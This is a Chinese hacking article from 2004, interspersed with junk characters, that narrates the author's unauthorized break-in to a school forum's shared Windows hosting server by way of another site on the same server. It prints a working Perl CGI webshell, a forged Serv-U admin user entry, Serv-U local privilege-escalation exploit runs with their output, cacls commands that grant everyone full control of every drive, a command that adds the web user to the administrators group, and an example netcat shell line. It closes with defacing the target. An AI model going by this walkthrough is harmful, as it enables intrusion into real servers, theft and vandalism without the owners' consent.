剑走偏锋——灵巧的旁注攻击
! r8 g/ _% h/ X( B本文作者:angel4 p% R# ~; W: K# e, q
文章性质:原创
% k' z0 u0 A1 C/ G$ Z& f发布日期:2004-11-09 - B) k) p* x% V6 V. ~0 @* q4 o% H
注意:& ]6 e( O. e' W
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
8 J+ n# T8 g K" I1 H/ Q/ k' F+ v本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
7 |5 N0 X$ ~- n+ W- D2 D( n' w# N I6 x! [4 m8 b1 J
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 1 M+ v6 ]% S c
" i( |) m3 E) Y9 Q3 T6 M/ J: }- x* M 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 8 ]5 a7 P& k' c
9 K$ J- R6 I0 D9 P( ~: a
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
! c2 s) c$ L0 U0 H$ q) Y0 J
7 r7 j+ c, k7 S% {/ _ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
7 R8 |0 V9 F* M" P5 a: R' I7 `' n! w) n
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 8 ^" [* E# [% K# m, f" t. c, v D
7 b. c/ \8 D% A0 k
没有目的的跳转目录着…… ; M; x; a0 ]7 [& ~% f' V
; {8 W) {6 ]! R 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 1 c% S% r( ~! d" @0 H
/ Q; x; ^2 v6 j& q* x$ S 结束了吗?不,我试着 FTP 一下: 7 o* }% r6 z9 s# Y& g- c
# Y# E4 b& T" x) L# K0 g$ ^. W4 ?8 [Microsoft Windows 2000 [Version 5.00.2195]! f0 g1 A5 ]1 d0 L
(C) 版权所有 1985-2000 Microsoft Corp.
$ |8 A0 J& g. w4 B
9 U9 M6 t: D; B' dC:\Documents and Settings\Administrator>ftp www.school.com
: _( r( |3 ?4 W, m9 A3 sConnected to www. school.com.
0 g" T. O+ N- D7 b9 `9 u4 Q6 Y220 Welcome to FTP Server... 3 R& |4 o+ H7 s) A/ ^& g! d+ X, Y
User (www.bjtrq.com:(none)):
( z) P7 Y& C; ]) C331 User name okay, need password.
+ k1 i. P0 u, g+ s/ gPassword: % e) I, q/ l! a4 b7 q
530 Not logged in. % n0 b: M4 @1 S, } ~% u
Login failed. 2 m; p' A* z) }% y& p
ftp> bye
2 ?& K9 [3 H, o& W( K221 Goodbye! / G7 K' l( I& G' p" F- f, x+ Z
! s B' A* A: C0 \: J1 M8 ?: l+ c' E7 z6 m u: x
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 6 y$ d: J9 a: Y6 D+ a
; [1 p( _4 R/ @9 \4 f3 a s, Z
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
( |( g- w" f" `% F8 j+ v# V& I6 x' @2 r: y
Application Data
. t3 H1 ?, b. @Documents' f& Y& C0 D2 t+ \! j( i6 w
DRM
( V* ]) M1 w4 w& r( q( m' N' @ zFavorites
& [1 I8 G% ~9 @1 k8 ~5 d9 v( u' dTemplates
2 O( |! D# X$ G' n& N- [「开始」菜单
( S5 ^3 g v# O3 z& y桌面
8 o( ~$ Q8 A" Y T' c* @
8 [# @1 \, x) G1 p: G- G4 t6 |6 W
2 m# [. X1 t2 U6 N 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
% x9 V0 l/ W' y5 _
. L1 W, ]/ p4 W* \$ Y/ bActiveState ActivePerl 5.83 j* e5 ^1 M6 A; v7 N
Administrative Tools
1 u9 r+ ^( p1 s: U& P% dDeerfield.com" B7 e+ Y- Z7 e( _9 R. {" n+ f
DTemp
! p q [9 w7 H7 i& \& }IPSentry
$ }! Y* b& @, W3 Z' k, [: IMBM 59 G# I4 x: j4 X) b- s( K
NetMeter9 U7 m* `0 ~5 ~# u- t
Network ICE
* J* m/ K1 y: A' C0 w( MPersits Software AspEmail
' T! m2 L) |3 b) yPersits Software AspJpeg6 e: d5 l* k+ |! B
Serv-U FTP Server
# r5 Z7 G1 }3 x6 VSymantec Client Security
# }& C! |( z0 S5 jWindows 优化大师$ P( w- }( S6 B) |2 _! l" l
WinRAR4 l+ V$ _+ n: p
启动, F( ?* K6 N; S4 v
管理工具6 C2 }1 | A0 Z7 P$ F
附件8 Z8 `# d5 _+ b2 F& { i6 w) K
& l [) o+ Q& ^3 o2 H$ Q: C; ^) }- X# n3 p" T; I
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 $ W# h0 T J" A! [
6 E/ F( R; x, y4 `7 V ?
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
7 C; w/ u& H& t+ c& _/ x6 W$ ?8 D" q2 `
User281=angel|1|0 8 X" z1 p* s% x3 C2 f) t
2 g' S. S) B5 F
- F% w8 _ u. x4 N/ i2 l 然后加上
0 ] A8 f5 D! z- o6 ? Y" Y% S' i# t& _# @; A3 L- H8 j" D1 |1 f3 `
[USER=angel|1]- p9 o% c) l" K, V: A- j
Password=ng98F85379EA68DBF97BAADCA99B69B805
4 P' X) ?4 ?* ?& f8 D6 jHomeDir=D:\websites
+ X/ a, S/ L3 h% h. \RelPaths=1* @- C0 A$ ` n) G
TimeOut=600: O8 b3 `6 s D; z. ?. L
Maintenance=System. f! F0 l' P# T2 k9 v1 V6 v% I
Access1=D:\websites|RWAMELCDP) x$ Q! ~' ^, _# S" G
SKEYValues=. A+ o; L5 j. s- Q7 m
( r- G3 q. B4 R( J7 r
8 V7 ~3 c6 f3 |; ~ 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… & E0 G& p+ g2 i
: m& R6 r. ?$ V9 S; _. k7 r" _
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 1 z+ t1 J) g0 g1 F0 ~
# t: V3 p' t; M4 E
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
4 A" D& N- R. K2 R2 C, I/ k, f8 y$ Q; ~2 L
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
) M$ V' `3 N) L y+ e2 x, G# J4 s8 x+ K8 Q# B8 b
#!/usr/bin/perl3 j1 ?0 G8 S! i1 v
binmode(STDOUT);
0 N$ C3 A! h$ }5 e, ?6 Q( Y) Msyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
) u' S% U( \0 b* ]5 t' ?: \$_ = $ENV{QUERY_STRING};) k, J* C# h) s2 M2 \0 l2 i s3 v
s/%20/ /ig;) t! e( C. ^! d0 l5 s3 \% P6 c& e
s/%2f/\//ig;
; m! t0 p; Y% Y& J6 ^$execthis = $_;
& j K6 a; H! Q+ j Usyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: L& n# A: N, W7 i6 \& z: _open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";5 s! S- @6 c7 x& b
system($execthis);+ i2 g% _( l3 p
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
, `; r" ?. C z' p- Sclose(STDERR);
+ y3 J1 K" Q5 b2 x9 e* a1 @close(STDOUT);# j$ k7 \ e4 A y# p1 \8 X+ F4 K
exit;
" a" \& M! U" Q6 y' M# U% w& _. H f 1 F1 t4 I3 ? ]/ _% b+ b; _0 l
! P1 f/ x2 Y1 F; \3 G5 i* F1 z5 h
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
7 j K1 P* ^! F. B3 T& K7 K0 q& q) J% O7 q/ C! |" Q
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: % p. W, I4 h) H2 K4 p! l; p4 n! F
# R) `5 Z1 J: i V
http://anyhost//cmd.pl?d:\user\bin\su.exe . i8 u2 `7 G, }. `- }3 Y
* x/ |2 m; A- W' G/ m
% j; q" }9 P' _' f" t8 P! ~4 h 返回: 0 O g, P3 D( v* Y% ?
( N! N; C1 {) G$ T7 s+ @Serv-u >3.x Local Exploit by xiaolu
* \1 _2 n; P- o; Z/ e
# g% h0 h3 b3 p4 O5 {, \USAGE: serv-u.exe "command"
6 i# M6 t; Y7 m; W& D& f' h) b+ B" Z% ]/ p
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" & }0 f6 I% Q* h2 A3 n- `( }# i
' W* B1 O& ]5 j+ b6 b% P S( O/ @: @7 W8 |+ Q( e! U7 e4 Y" F9 c
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
4 Z, ^/ v' E5 s$ W& G& E" ^
/ P: N& X4 o% [. u. A' Q. D2 ihttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" , a- c! j4 D, M6 F0 T6 R/ F
! \. y' F- Q P9 z- J% m- I
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" ( a7 i' w v% S) Y7 h
+ U' e O; `3 n
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 4 f9 i; d- P3 o! N: m
2 ~: }- p O8 l4 a% G
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" / q9 r: z" h k. J4 a: @6 \, k
1 \ G4 N1 a; z0 U7 N8 f; b6 ]+ \2 @# B6 {( e* ?0 H
返回下面的信息,就表示成功了!!! - ]7 m- H* q' `8 l. C8 K$ j3 d2 W# S
" K9 X6 J {8 l( r$ q
Serv-u >3.x Local Exploit by xiaolu
( U1 b+ M' B7 ?3 G! o/ k! G7 y
/ A' P! d, I' o; D6 ~<220 Serv-U FTP Server v5.2 for WinSock ready...
0 O* O% Y8 l( _# ^4 _5 z( C3 c
! `0 S8 T9 @8 n5 ?/ t+ ~( j>USER LocalAdministrator
; E, s7 ]; j" R& D# R1 J
4 Z9 R- O$ g0 E& Q* f2 u<331 User name okay, need password. ) k' ^, S9 \8 p0 z3 h5 C; U: A* O! V
5 _# M& Q) j* V4 ]/ q* s****************************************************** 1 k7 L% {2 M5 i+ u
, p5 i/ V$ k; c7 L2 ^( r: h
>PASS #l@$ak#.lk;0@P 2 ^- ]. M3 A* X& P" p9 k; H" L
% z$ g- Y! R/ L" x W U0 M<230 User logged in, proceed.
! i; ]4 `5 h) ^/ G* R
" Q' E" D; V" V; G l. i" T****************************************************** & [ d/ R# J4 a) c# {
9 S7 Z0 \& F" ]7 \* v2 F/ C9 e
>SITE MAINTENANCE
5 |$ k- f- P4 i/ ^8 R
. \/ G; V4 }1 N, ?% L******************************************************
0 Q# ^# z9 E; s: _
* J+ b" I; P" g% v[+] Creating New Domain...
/ S9 }3 N5 V8 f1 g/ ~" s( e' b. B$ B
<200-DomainID=2 8 w2 T7 J9 |) g2 g
2 K6 W& c$ }, s( {! O$ e
<220 Domain settings saved
$ J1 P7 C, C& Y: u& z3 C0 A* ]0 D3 c3 X2 L+ g9 h; T* }
******************************************************
" n6 u( }1 v8 P. p! \! d, i5 @" K
1 P' E: A* g9 X[+] Domain xl:2 Created # q% Z+ t$ s, v9 ~& I- D/ I
4 @4 o4 X$ C q9 u) Z; A S, {& G" c[+] Creating Evil User
& X" @8 m6 A6 i8 U
' i8 k' x$ O' z9 x6 `$ _<200-User=xl . N6 Y1 I5 Q3 ~9 [/ j+ G
& T! @4 W) \7 j0 L
200 User settings saved
) C1 z a* r) u" `7 W$ x% t/ @2 Z) D1 j6 n& r+ T
****************************************************** " m& y) q0 Q* G! F4 G$ y( |
* A7 A. K4 V7 m! _+ y
[+] Now Exploiting... . D6 C$ S4 V, g4 Z5 W
u1 B8 J; r4 \, Z, s* p6 F>USER xl
! m- Q; c8 F/ X3 g+ E( K$ P/ J- P$ B4 e
<331 User name okay, need password.
; j- ?4 \ ~+ f" s, B) U; m: b
* {, ^; h- f, U9 ?" A9 M) t. v- v5 T******************************************************
- }8 [3 I. ]( S6 U& i/ q/ ~+ W$ z- m# m/ ]+ J7 b
>PASS 111111
+ B( I* ^2 [+ O. l) }: [: f. k, X/ S9 q! u# ?& C" D' k; R6 p: m
<230 User logged in, proceed. 8 f/ g3 u- r+ x7 y- G/ X$ M
/ I. u! c5 {4 g2 m2 S1 b
******************************************************
- C: E2 Z# f/ W5 u/ b7 E" ~) y, w8 N! Q1 o$ g$ x
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
4 N x- |0 q) E v+ }2 k6 R H' v, H/ P9 N) L4 ?+ N# ?5 h
<220 Domain deleted
- {6 r* v- H, B! B- A* E& z u5 E- p
****************************************************** + `/ k4 I3 ?( x+ ?0 ]; z+ Y& k
' q+ ?+ k. U) x8 B) p0 ]6 U4 u% Z
8 J' p5 U3 v5 O: b0 |$ m
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
! x$ i' ^) o$ g; P9 I; S
; a8 \6 [7 O0 s# w# |7 vhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
% e8 |* G) H3 _& _% A : n; B- C- P$ {4 s% L$ w
" ~' f& k3 q0 v3 ~0 a1 t5 W% S, D/ K
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 , o+ C9 C' S; }9 q1 M A' S
% r$ ~2 h( ]# `0 x 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。; f0 r( R" ~2 Q% y1 @* y
5 ]7 |4 ?: U( U) b9 O9 u& g ) c* G! @: t2 w+ {( E: H- C8 K& D
|